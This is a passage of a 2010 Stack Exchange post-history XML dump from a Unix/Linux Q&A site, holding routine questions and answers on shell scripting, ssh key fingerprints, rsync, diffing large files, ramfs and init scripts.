  &#xD;&#xA;        set -- $key # Note: will mangle whitespace in the comment&#xD;&#xA;        case &quot;$1&quot; in&#xD;&#xA;            [0-9]*) # SSH v1 key&#xD;&#xA;                type=rsa1&#xD;&#xA;                shift 3&#xD;&#xA;            ;;&#xD;&#xA;            ssh-rsa|ssh-dss) # SSH v2 key&#xD;&#xA;                type=&quot;$1&quot;&#xD;&#xA;                shift 2&#xD;&#xA;            ;;&#xD;&#xA;            *)&#xD;&#xA;                type=unknown&#xD;&#xA;                set --&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    &#xD;&#xA;        printf '%-14s %-9s %s %s\n' &quot;$type&quot; &quot;$bits&quot; &quot;$fingerprint&quot; &quot;$*&quot;&#xD;&#xA;    done &lt;$1&#xD;&#xA;" />
  <row Id="4408" PostHistoryTypeId="6" PostId="2126" RevisionGUID="64a7f0af-6665-4e7e-81ce-1c7b2ca913c0" CreationDate="2010-09-16T08:18:40.123" UserId="1339" Comment="edited tags" Text="ésecurityàépasswordàéauthenticationàépamà" />
  <row Id="4409" PostHistoryTypeId="5" PostId="2109" RevisionGUID="46462f8f-594d-4141-9f5f-2ee321c021d2" CreationDate="2010-09-16T08:45:35.400" UserId="13" Comment="Clarified question i.e. need for startup scripts." Text="I'm using apache2 and postgres running on Ubuntu Server 10.04.  &#xD;&#xA;I have removed the startup scripts for both of these apps and I'm using supervisor to monitor and control them. The problem I have run into is that both of these need directories in /var/run (with the correct permissions for the users they run under) for pid files. How do I create these during startup as they need to be created as root and then chown'd to the correct user?&#xD;&#xA;&#xD;&#xA;**Edit**  &#xD;&#xA;It seems the best way to so this is to creat the directories with custom init scripts. As I have no shell scripting skills at all how do I go about this?" />
  <row Id="4410" PostHistoryTypeId="2" PostId="2147" RevisionGUID="ee74ad9c-5eee-41dc-a95a-2f150fd775d5" CreationDate="2010-09-16T08:58:24.583" UserId="1107" Text="There are some purely Unixoid-shell issues here, I hope MSYS is not adding extra problems, too.&#xD;&#xA;&#xD;&#xA;Doing multiple levels of quoting can be tricky. I usually prefer to avoid them if possible. &#xD;&#xA;&#xD;&#xA;The modification below uses the `$@` parameter to store and retrieve the arguments that will have embedded whitespace. If you need multiple such lists of arguments with embedded whitespace and your shell has array parameters you could those (since there is only one of `$@`).&#xD;&#xA;&#xD;&#xA;    # assume BUILD_CORES is simple enough that it will not need extra quoting later...&#xD;&#xA;    BUILD_CFLAGS='-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer'&#xD;&#xA;    BUILD_LFLAGS=&quot;-flto -fwhopr=$BUILD_CORES&quot;&#xD;&#xA;    set -- --prefix=&quot;$PREFIX&quot; --host=&quot;$HOST&quot; --build=&quot;$BUILD&quot; CFLAGS=&quot;$BUILD_CFLAGS&quot; LFLAGS=&quot;$BUILD_LFLAGS&quot;&#xD;&#xA;    makeopts=&quot;-s -j$BUILD_CORES&quot;&#xD;&#xA;    &#xD;&#xA;    # libiconv&#xD;&#xA;    cd libiconv&#xD;&#xA;    echo &quot;configuring libiconv: $@&quot;&#xD;&#xA;    ../../src/libiconv/configure &quot;$@&quot; &gt; configure.log || exit 1&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;For your stated requirements, you can get away with just this single level of protection, but if you needed multiple levels of quoting (e.g. if `BUILD_CORES` contained whitespace you would be dealing with multiple levels of quoting: one level of quoting in `makeopts`/`BUILD_LFLAGS`, and two levels of quoting in `CONFIG_OPTS`). In that case I might resort to using `printf` with `%q` and `eval`. The `%q` format specifier is available in most, but not all, shells (*ksh*, *bash*, *zsh*). It quotes its value so that it can later be evaluated correctly.&#xD;&#xA;&#xD;&#xA;    BUILD_CFLAGS='-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer'&#xD;&#xA;    BUILD_LFLAGS=$(printf '%s-flto -fwhopr=%q' '' &quot;$BUILD_CORES&quot;)&#xD;&#xA;    CONFIG_OPTS=$(printf \&#xD;&#xA;      '%s--prefix=%q --host=%q --build=%q CFLAGS=%q LFLAGS=%q' '' \&#xD;&#xA;      &quot;$PREFIX&quot; &quot;$HOST&quot; &quot;$BUILD&quot; &quot;$BUILD_CFLAGS&quot; &quot;$BUILD_LFLAGS&quot;)&#xD;&#xA;    makeopts=$(printf '%s-s -j%q' '' &quot;$BUILD_CORES&quot;)&#xD;&#xA;    &#xD;&#xA;    # libiconv&#xD;&#xA;    cd libiconv&#xD;&#xA;    echo &quot;configuring libiconv:&quot; &quot;$CONFIG_OPTS&quot;&#xD;&#xA;    eval ../../src/libiconv/configure &quot;$CONFIG_OPTS&quot;&#xD;&#xA;    echo &quot;building libiconv&quot;&#xD;&#xA;    eval make &quot;$MAKEOPTS&quot; &gt; build.log || exit 1&#xD;&#xA;&#xD;&#xA;In this particular case you would also need to take care that anything that gets `LFLAGS` from configure will know how to “read” the quoted value that the shell produced. This could be a problem if the script is written in a shell language where `%q` produces a construct that the default shell on the system (i.e. `/bin/sh`) does not understand (e.g. *ksh* will sometimes produce `$'blah'` constructs, but some shells do not know how to parse them)." />
  <row Id="4411" PostHistoryTypeId="5" PostId="2146" RevisionGUID="2329ac56-e36e-4535-b66d-e8a7c14e32a6" CreationDate="2010-09-16T09:46:07.750" UserId="1107" Comment="Add Xes for Stefan" Text="*ssh-keygen* can do the core of the work (generating a fingerprint from a public key), but it will not automatically process a list of multiple keys as is usually found in an `authorized_keys` file.&#xD;&#xA;&#xD;&#xA;Here is a script that splits up the keys, feeds them to *ssh-keygen* and produces the table you want:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    set -ue&#xD;&#xA;    &#xD;&#xA;    tmp=&quot;$(mktemp -t fingerprint-authkeys.XXXXXXXX)&quot;&#xD;&#xA;    trap 'rm -f &quot;$tmp&quot;' 0&#xD;&#xA;    &#xD;&#xA;    while read opts key; do&#xD;&#xA;        case &quot;$opts&quot; in&#xD;&#xA;            [0-9]*|ssh-dss|ssh-rsa)&#xD;&#xA;                # not options, first &quot;word&quot; is part of key&#xD;&#xA;                key=&quot;$opts $key&quot;&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;        echo &quot;$key&quot; &gt;$tmp&#xD;&#xA;        set -- $(ssh-keygen -lf &quot;$tmp&quot;)&#xD;&#xA;        bits=&quot;$1&quot; fingerprint=&quot;$2&quot;&#xD;&#xA;    &#xD;&#xA;        set -- $key # Note: will mangle whitespace in the comment&#xD;&#xA;        case &quot;$1&quot; in&#xD;&#xA;            [0-9]*) # SSH v1 key&#xD;&#xA;                type=rsa1&#xD;&#xA;                shift 3&#xD;&#xA;            ;;&#xD;&#xA;            ssh-rsa|ssh-dss) # SSH v2 key&#xD;&#xA;                type=&quot;$1&quot;&#xD;&#xA;                shift 2&#xD;&#xA;            ;;&#xD;&#xA;            *)&#xD;&#xA;                type=unknown&#xD;&#xA;                set --&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    &#xD;&#xA;        printf '%-14s %-9s %s %s\n' &quot;$type&quot; &quot;$bits&quot; &quot;$fingerprint&quot; &quot;$*&quot;&#xD;&#xA;    done &lt;$1&#xD;&#xA;" />
  <row Id="4412" PostHistoryTypeId="2" PostId="2148" RevisionGUID="73c090fc-f318-4ddf-8f58-11b953506207" CreationDate="2010-09-16T09:59:34.777" UserId="1327" Text="See this **[question][1]**.&#xD;&#xA;&#xD;&#xA;When you run `ps ax | grep string`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep openbox&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- /usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     5100 pts/0    S+     0:00 grep openbox&#xD;&#xA;&#xD;&#xA;the last line containing `grep` is somethings a bit **anoying**&#xD;&#xA;&#xD;&#xA;You can rid yourself of this by running `ps ax | grep [s]tring`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep [o]penbox&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- /usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]:http://unix.stackexchange.com/questions/2062/grep-why-do-brackets-in-grep-pattern-remove-the-grep-process-from-ps-results" />
  <row Id="4413" PostHistoryTypeId="16" PostId="2148" RevisionGUID="73c090fc-f318-4ddf-8f58-11b953506207" CreationDate="2010-09-16T09:59:34.777" UserId="-1" />
  <row Id="4414" PostHistoryTypeId="2" PostId="2149" RevisionGUID="ae12dee5-1b71-4a51-b9ac-52c2ed30c086" CreationDate="2010-09-16T10:06:58.153" UserId="1290" Text="Not knowing your price range, I suggest [Gumstix](http://gumstix.com).&#xD;&#xA;&#xD;&#xA;The boards are quite expensive, but very powerfull, especially with the [ATmel Robostix expansion board][1].&#xD;&#xA;&#xD;&#xA;I suggest the [Robostix Starter Pack][2], this should get you going programming with Gumstix.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gumstix.com/store/catalog/product_info.php?products_id=139&#xD;&#xA;  [2]: http://www.gumstix.com/store/catalog/product_info.php?products_id=203" />
  <row Id="4416" PostHistoryTypeId="2" PostId="2150" RevisionGUID="4c004ae0-9f30-4035-bc3a-7e2dcafbf334" CreationDate="2010-09-16T10:50:23.897" UserId="1797" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have two big files on 6GB each and they are unsorted with linefeeds (\n) as separator. I would like to make a diff between them.&#xD;&#xA;&#xD;&#xA;It should take under 24h.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4417" PostHistoryTypeId="1" PostId="2150" RevisionGUID="4c004ae0-9f30-4035-bc3a-7e2dcafbf334" CreationDate="2010-09-16T10:50:23.897" UserId="1797" Text="Diffing to big text files" />
  <row Id="4418" PostHistoryTypeId="3" PostId="2150" RevisionGUID="4c004ae0-9f30-4035-bc3a-7e2dcafbf334" CreationDate="2010-09-16T10:50:23.897" UserId="1797" Text="éperformanceàédiffàélargeöfilesà" />
  <row Id="4419" PostHistoryTypeId="2" PostId="2151" RevisionGUID="5cf785cd-5a0a-4466-a7bd-7a9ec5bed1aa" CreationDate="2010-09-16T11:35:24.410" UserId="1144" Text="The most obvious answer is just to use the diff command and it is probably a good idea to add the --speed-large-files parameter to it.&#xD;&#xA;&#xD;&#xA;    diff --speed-large-files a.file b.file&#xD;&#xA;&#xD;&#xA;You mention unsorted files so maybe you need to sort the files first&#xD;&#xA;&#xD;&#xA;    sort a.file &gt; a.file.sorted&#xD;&#xA;    sort b.file &gt; b.file.sorted&#xD;&#xA;    diff --speed-large-files a.file.sorted b.file.sorted&#xD;&#xA;&#xD;&#xA;you could save creating an extra output file by piping the 2nd sort output direct into diff&#xD;&#xA;&#xD;&#xA;    sort a.file &gt; a.file.sorted&#xD;&#xA;    sort b.file | diff --speed-large-files a.file.sorted -&#xD;&#xA;&#xD;&#xA;Obviously these will run best on a system with plenty of available memory and you will likely need plenty of free disk space too.&#xD;&#xA;&#xD;&#xA;It wasn't clear from your question whether you have tried these before. If so then it would be helpful to know what went wrong (took too long etc.). I have always found that&#xD;&#xA;the stock sort and diff commands tend to do at least as well as custom commands unless&#xD;&#xA;there are some very domain specific properties of the files that make it possible to&#xD;&#xA;do things differently." />
  <row Id="4420" PostHistoryTypeId="2" PostId="2152" RevisionGUID="ea2b0219-2c39-4325-879a-acbc7ff0a0b1" CreationDate="2010-09-16T11:56:44.663" UserId="1257" Text="In reply to this comment:&#xD;&#xA;&#xD;&#xA;&gt; There are currently no startup scripts&#xD;&#xA;&gt; for the servcies. The supervisor&#xD;&#xA;&gt; daemon is started by the init.d&#xD;&#xA;&gt; scripts and then the other services&#xD;&#xA;&gt; are started by this service, which&#xD;&#xA;&gt; should not run as root.&#xD;&#xA;&#xD;&#xA;If your supervisor is started from `init.d` script, then just create another `init.d` script with the preferences to be run before the supervisor starts ( how you achieve this is totally dependent on your flavor of **IX ).&#xD;&#xA;&#xD;&#xA;In its `start` method create needed directories with required permissions.&#xD;&#xA;&#xD;&#xA;In its `stop` method tear those directories down." />
  <row Id="4421" PostHistoryTypeId="2" PostId="2153" RevisionGUID="790fd3a8-e321-45d1-bd71-dd76ba021246" CreationDate="2010-09-16T12:31:46.307" UserId="550" Text="Normally you should be able to re-configure and change the code to define a new location in your home directory or other path for all libraries and programs... &#xD;&#xA;&#xD;&#xA;But, IMHO, the easiest way (if you have plenty of space) is use chroot in a subdirectory with all a linux distro installed in it. Of cuorse as a normal user you can not use [chroot][1], but you can use these great tools: [fakechroot][2] and [fakeroot][3]&#xD;&#xA;&#xD;&#xA;To create the chroot filesystem, I like to deploy a directory with Debian (or any Debian derivate like ubuntu)  using the [debootstrap][4] utility.&#xD;&#xA;&#xD;&#xA;So the procedure is easy (I will not enter in technical details, read the command manuals):&#xD;&#xA;&#xD;&#xA; - Get and install: fakeroot, fakechroot and debootstrap tools&#xD;&#xA; - create a subdirectory using debootstrap&#xD;&#xA; - Execute: fakechroot fakeroot chroot mydebian-dir&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/chroot&#xD;&#xA;  [2]: http://linux.die.net/man/1/fakechroot&#xD;&#xA;  [3]: http://linux.die.net/man/1/fakeroot&#xD;&#xA;  [4]: http://wiki.debian.org/Debootstrap&#xD;&#xA;&#xD;&#xA;If you need more details, I think I had an script somewhere to do all this." />
  <row Id="4422" PostHistoryTypeId="2" PostId="2154" RevisionGUID="edfa4698-5410-4b6d-876e-3195ca36439d" CreationDate="2010-09-16T12:45:45.913" UserId="1800" Text="Can someone recommend me a wireless multi function scanner / printer that will work with Ubuntu? If something like this exists at all.. " />
  <row Id="4423" PostHistoryTypeId="1" PostId="2154" RevisionGUID="edfa4698-5410-4b6d-876e-3195ca36439d" CreationDate="2010-09-16T12:45:45.913" UserId="1800" Text="Wireless multi function scanner / printer" />
  <row Id="4424" PostHistoryTypeId="3" PostId="2154" RevisionGUID="edfa4698-5410-4b6d-876e-3195ca36439d" CreationDate="2010-09-16T12:45:45.913" UserId="1800" Text="éhardwareöcompatibilityàéwirelessà" />
  <row Id="4425" PostHistoryTypeId="2" PostId="2155" RevisionGUID="11c83c37-3c5b-4abf-9f2b-97a8b071ccd7" CreationDate="2010-09-16T12:50:55.293" UserId="550" Text="Is not so powerfull as a normal PC, but you should try [arduino platform][1].&#xD;&#xA;&#xD;&#xA;You can buy a great and cheap unit here: [http://www.libelium.com/][2]&#xD;&#xA;&#xD;&#xA;Google a little bit about arduino and you will find a lot of references and a big community&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arduino.cc/&#xD;&#xA;  [2]: http://www.libelium.com/" />
  <row Id="4426" PostHistoryTypeId="5" PostId="2150" RevisionGUID="c53b44df-5c03-474c-8eb0-878ffeabb2b1" CreationDate="2010-09-16T14:11:00.097" UserId="73" Comment="deleted 44 characters in body; edited title" Text="I have two big files (6GB each). They are unsorted, with linefeeds (`\n`) as separators. How can I diff them? It should take under 24h." />
  <row Id="4427" PostHistoryTypeId="4" PostId="2150" RevisionGUID="c53b44df-5c03-474c-8eb0-878ffeabb2b1" CreationDate="2010-09-16T14:11:00.097" UserId="73" Comment="deleted 44 characters in body; edited title" Text="Diffing two big text files" />
  <row Id="4428" PostHistoryTypeId="2" PostId="2156" RevisionGUID="0d83aeb2-d838-4e22-8a92-5f918f2e4702" CreationDate="2010-09-16T14:11:38.163" UserId="1803" Text="sync;sync;sync;reboot&#xD;&#xA;&#xD;&#xA;can be really useful sometimes. Be careful !" />
  <row Id="4429" PostHistoryTypeId="16" PostId="2156" RevisionGUID="0d83aeb2-d838-4e22-8a92-5f918f2e4702" CreationDate="2010-09-16T14:11:38.163" UserId="-1" />
  <row Id="4430" PostHistoryTypeId="2" PostId="2157" RevisionGUID="3224f3fa-ce9d-499a-92a8-9194427e97ad" CreationDate="2010-09-16T14:15:48.343" UserId="13" Text="In the end I used this code in the init.d script for the supervisor process:&#xD;&#xA;&#xD;&#xA;    while IFS=: read file user group&#xD;&#xA;        do&#xD;&#xA;            if [ -d $file ]; then&#xD;&#xA;                chmod 2775 $file&#xD;&#xA;            else&#xD;&#xA;                install -d -m 2775 -o $user -g $group $file&#xD;&#xA;            fi&#xD;&#xA;        done &lt; &quot;/etc/run_dirs.txt&quot;&#xD;&#xA;&#xD;&#xA;Which reads a file containing rows with the following format and creates the appropriate dirs and permissions:  &#xD;&#xA;&#xD;&#xA;`path/to/dir:user:group`&#xD;&#xA;" />
  <row Id="4431" PostHistoryTypeId="2" PostId="2158" RevisionGUID="e66c0f74-2136-4c7a-8aae-91ccf029b188" CreationDate="2010-09-16T14:59:18.480" UserDisplayName="Alain" Text="There is a way to use &lt;kbd&gt;Ctrl-R&lt;/kbd&gt; with **tcsh**. Add the following in your &lt;code&gt;.cshrc&lt;/code&gt;: &#xD;&#xA;&#xD;&#xA;&lt;code&gt;bindkey &quot;^r&quot; i-search-back&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;That's the biggest time saver for me." />
  <row Id="4432" PostHistoryTypeId="2" PostId="2159" RevisionGUID="5c144a63-1a1d-41f5-af99-14a308cc6070" CreationDate="2010-09-16T15:02:15.340" UserId="1806" Text="I have this in my .bashrc&#xD;&#xA;&#xD;&#xA;    #shortcut for CTRL+C and CTRL+V&#xD;&#xA;    alias c-c='xclip -sel clip'&#xD;&#xA;    alias c-v='xclip -o -sel clip'&#xD;&#xA;&amp;nbsp;    &#xD;&#xA;&#xD;&#xA;    function find-all() {&#xD;&#xA;        python -c &quot;import re&#xD;&#xA;    import sys&#xD;&#xA;    for i in re.findall('$1', sys.stdin.read()):&#xD;&#xA;        if type(i) == type(''):&#xD;&#xA;            print i&#xD;&#xA;        else:&#xD;&#xA;            print i[0]&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And when I have html source code in clipboard and want to find all links I use&#xD;&#xA;&#xD;&#xA;    c-v | find-all 'href=&quot;([^&quot;]*)&quot;' | c-c&#xD;&#xA;&#xD;&#xA;And I have all urls in clipboard&#xD;&#xA;&#xD;&#xA;I also have this function&#xD;&#xA;&#xD;&#xA;    function lsq(){&#xD;&#xA;        ls -lh $@ | tr -s ' ' | cut -d' ' -f5,8&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;which display size (human readable) and filename.&#xD;&#xA;&#xD;&#xA;    alias temp='cat /proc/acpi/thermal_zone/THRM/temperature'&#xD;&#xA;&#xD;&#xA;this alias is for show temerature&#xD;&#xA;&#xD;&#xA;    function separate() {&#xD;&#xA;        python -c &quot;import sys,re; print '$1'.join(re.split('\s*', sys.stdin.read().strip()))&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;with this function I can calculate product or sum of arguments.&#xD;&#xA;&#xD;&#xA;    alias sum='separate + | bc'&#xD;&#xA;    alias product='separate * | bc'&#xD;&#xA;&#xD;&#xA;    function split-join() {&#xD;&#xA;        python -c &quot;import sys,re; print '$2'.join(re.split('$1', sys.stdin.read().strip()))&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is usefull function which split standard input separated by regex and then join the result.&#xD;&#xA;&#xD;&#xA;    function factorial() {&#xD;&#xA;        seq -s* $1 | bc&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;factorial function&#xD;&#xA;&#xD;&#xA;    function wiki() { dig +short txt $1.wp.dg.cx; }&#xD;&#xA;&#xD;&#xA;This function display wiki text over DNS&#xD;&#xA;&#xD;&#xA;I also have three color funcions&#xD;&#xA;&#xD;&#xA;    function blue() {&#xD;&#xA;        echo -e &quot;\x1b[34m\x1b[1m&quot;$@&quot;\x1b[0m&quot;;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function green() {&#xD;&#xA;        echo -e &quot;\x1b[32m\x1b[1m&quot;$@&quot;\x1b[0m&quot;;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function red() {&#xD;&#xA;        echo -e &quot;\x1b[31m\x1b[1m&quot;$@&quot;\x1b[0m&quot;;&#xD;&#xA;    }&#xD;&#xA;&amp;nbsp;&#xD;&#xA;&#xD;&#xA;    function md5check() {&#xD;&#xA;        test `md5sum $2 | cut -d' ' -f1` = &quot;$1&quot; &amp;&amp; green [OK] || red [FAIL]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This function validate file md5 hash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this will show error message for a given code&#xD;&#xA;&#xD;&#xA;    function strerror() { python -c &quot;import os; print os.strerror($1)&quot;; }&#xD;&#xA;&#xD;&#xA;You can print all messages with&#xD;&#xA;&#xD;&#xA;    alias all-errors='for i in `seq 131`; do echo -n &quot;$i: &quot;; strerror $i; done'" />
  <row Id="4433" PostHistoryTypeId="16" PostId="2159" RevisionGUID="5c144a63-1a1d-41f5-af99-14a308cc6070" CreationDate="2010-09-16T15:02:15.340" UserId="-1" />
  <row Id="4434" PostHistoryTypeId="2" PostId="2160" RevisionGUID="341dcd6a-387c-487a-b7f8-6d70ee9778c7" CreationDate="2010-09-16T15:07:31.607" UserId="1327" Text="I'd like to save data in tempory location, but not a file or a **variable**, ideally I'd like to push it into RAM space ( or SWAP )&#xD;&#xA;&#xD;&#xA;Something along the lines of &#xD;&#xA;&#xD;&#xA;    &lt;texfile grep pattern &gt; RAM&#xD;&#xA;&#xD;&#xA;and to retrieve &#xD;&#xA;&#xD;&#xA;    cat RAM&#xD;&#xA;&#xD;&#xA;where RAM is a function that read and writes to RAM space" />
  <row Id="4435" PostHistoryTypeId="1" PostId="2160" RevisionGUID="341dcd6a-387c-487a-b7f8-6d70ee9778c7" CreationDate="2010-09-16T15:07:31.607" UserId="1327" Text="How to save temp data in RAM" />
  <row Id="4436" PostHistoryTypeId="3" PostId="2160" RevisionGUID="341dcd6a-387c-487a-b7f8-6d70ee9778c7" CreationDate="2010-09-16T15:07:31.607" UserId="1327" Text="écommandölineàéramà" />
  <row Id="4437" PostHistoryTypeId="2" PostId="2161" RevisionGUID="f391de11-ec6b-4a16-a19e-f7c69aa5241c" CreationDate="2010-09-16T15:09:22.557" UserId="12" Text="I am trying to create a directory that will house all and only my PDFs compiled from LaTeX. I like keeping each project in a separate folder, all housed in a big folder called `LaTeX`. So I tried running:&#xD;&#xA;&#xD;&#xA;    rsync -avn *.pdf ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;which should find all the pdfs in `~/LaTeX/` and transfer them to the output folder. This doesn't work. It tells me it's found no matches for &quot;`*.pdf`&quot;. If I leave out this filter, the command lists all the files in all the project folders under LaTeX. So it's a problem with the *.pdf filter. I tried replacing `~/` with the full path to my home directory, but that didn't have an effect.&#xD;&#xA;&#xD;&#xA;I'm, using zsh. I tried doing the same thing in bash and even *with* the filter that listed every single file in every subdirectory... What's going on here?&#xD;&#xA;&#xD;&#xA;Why isn't rsync understanding my pdf only filter?" />
  <row Id="4438" PostHistoryTypeId="1" PostId="2161" RevisionGUID="f391de11-ec6b-4a16-a19e-f7c69aa5241c" CreationDate="2010-09-16T15:09:22.557" UserId="12" Text="rsync failing to find files" />
  <row Id="4439" PostHistoryTypeId="3" PostId="2161" RevisionGUID="f391de11-ec6b-4a16-a19e-f7c69aa5241c" CreationDate="2010-09-16T15:09:22.557" UserId="12" Text="ézshàébackupàésyncà" />
  <row Id="4440" PostHistoryTypeId="2" PostId="2162" RevisionGUID="cded2532-a40a-411a-82f0-24a5dce75866" CreationDate="2010-09-16T15:09:40.170" UserId="1806" Text="I want to be able to see all staff from the boot process, just like in Debian.&#xD;&#xA;&#xD;&#xA;I instaled `startupmanager` but It only change boot screen to more ugly.&#xD;&#xA;&#xD;&#xA;I search google and find that you must remove &quot;quiet&quot; from /boot/grub/menu.lst but I don't have that file on my system." />
  <row Id="4441" PostHistoryTypeId="1" PostId="2162" RevisionGUID="cded2532-a40a-411a-82f0-24a5dce75866" CreationDate="2010-09-16T15:09:40.170" UserId="1806" Text="Ubuntu: How can I disable boot and logout screen." />
  <row Id="4442" PostHistoryTypeId="3" PostId="2162" RevisionGUID="cded2532-a40a-411a-82f0-24a5dce75866" CreationDate="2010-09-16T15:09:40.170" UserId="1806" Text="éubuntuàébootàéscreenà" />
  <row Id="4443" PostHistoryTypeId="2" PostId="2163" RevisionGUID="c53a54d4-57be-40d5-b5e8-6fb665ba71f5" CreationDate="2010-09-16T15:19:47.843" UserId="185" Text="I have added several dirs as bookmarks to nautilus and I want to know if there a way to assign keyboard shortcuts to some of them." />
  <row Id="4444" PostHistoryTypeId="1" PostId="2163" RevisionGUID="c53a54d4-57be-40d5-b5e8-6fb665ba71f5" CreationDate="2010-09-16T15:19:47.843" UserId="185" Text="Is there any wat to assign shortcuts to Nautilus bookmarks?" />
  <row Id="4445" PostHistoryTypeId="3" PostId="2163" RevisionGUID="c53a54d4-57be-40d5-b5e8-6fb665ba71f5" CreationDate="2010-09-16T15:19:47.843" UserId="185" Text="égnomeàékeyboardöshortcutsàénautilusà" />
  <row Id="4446" PostHistoryTypeId="2" PostId="2164" RevisionGUID="7c870f6c-facf-44a7-96fa-78c06da4f135" CreationDate="2010-09-16T15:24:55.300" UserId="1794" Text="you can mount an ramfs and store data there (as a file)&#xD;&#xA;&#xD;&#xA;    # mkdir /media/ram&#xD;&#xA;    # mount -t ramfs none /media/ram&#xD;&#xA;    # &lt;texfile grep pattern &gt; /media/ram/ram&#xD;&#xA;    # cat /media/ram/ram&#xD;&#xA;    # umount /media/ram" />
  <row Id="4447" PostHistoryTypeId="2" PostId="2165" RevisionGUID="48ef9ee2-7f88-4450-9f30-f13dc7961f5c" CreationDate="2010-09-16T16:00:38.427" UserId="26" Text="Shouldn't the command be:&#xD;&#xA;&#xD;&#xA;    rsync -avn ~/Latex/*.pdf ~/Output/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4448" PostHistoryTypeId="2" PostId="2166" RevisionGUID="a2c71a83-3c00-451b-a48d-08735860b472" CreationDate="2010-09-16T16:13:48.350" UserId="171" Text="I have had good success using HP and Epson printers.  Here is a list of supported [Ubuntu printers/Multi-function printers][1], You could also check out [Open Printing][2] to find a supported Linux printer. Good luck&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Printers&#xD;&#xA;  [2]: http://www.openprinting.org/printers" />
  <row Id="4449" PostHistoryTypeId="5" PostId="2160" RevisionGUID="3e1237ca-7d49-4afb-912f-5bccf4661c07" CreationDate="2010-09-16T16:16:50.170" UserId="1327" Comment="added 241 characters in body; edited tags; edited title" Text="**updated:**&#xD;&#xA;&#xD;&#xA;I'd like to save a large amount data ( ~ 100MB ) from *the standard input* in **temporary** location for the duration of my bash session. &#xD;&#xA;&#xD;&#xA;Piping it to a *file* won't work as I have only 30MB of free space. I also don't want to save it in a *variable*.&#xD;&#xA;&#xD;&#xA;I'd obviously have to utilize some space other than that of my *Disk Storage*. Which leaves my *RAM*.&#xD;&#xA;&#xD;&#xA;Is there some *mechanism* that will allow me to write to it, and then to retreive the written data again. ( like when you pipe to and from `/dev/null` )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4450" PostHistoryTypeId="4" PostId="2160" RevisionGUID="3e1237ca-7d49-4afb-912f-5bccf4661c07" CreationDate="2010-09-16T16:16:50.170" UserId="1327" Comment="added 241 characters in body; edited tags; edited title" Text="How to save temp data" />
  <row Id="4451" PostHistoryTypeId="6" PostId="2160" RevisionGUID="3e1237ca-7d49-4afb-912f-5bccf4661c07" CreationDate="2010-09-16T16:16:50.170" UserId="1327" Comment="added 241 characters in body; edited tags; edited title" Text="écommandölineà" />
  <row Id="4452" PostHistoryTypeId="5" PostId="2117" RevisionGUID="c7ba4af6-1a09-4a86-9749-c44c80578b37" CreationDate="2010-09-16T16:22:37.313" UserId="392" Comment="added 147 characters in body" Text="There is a server that I do work on, running an older version of Linux. I don't have root access to the system, so I wanted to build a more recent version of a tool that I use a lot (Vim 7.3). I figured I would just build it and install it in ~/bin. However, it requires ncurses development files which are not installed system-wide. I found the ncurses-devel rpm, and extracted the 'lib' and 'include' folders, where would I put them and how would I tell the ./configure script to find them so I could properly configure and build the package locally?&#xD;&#xA;&#xD;&#xA;Edit: I ended up working around this by installing the identical OS in Virtualbox, and building the package there and copying over the binaries." />
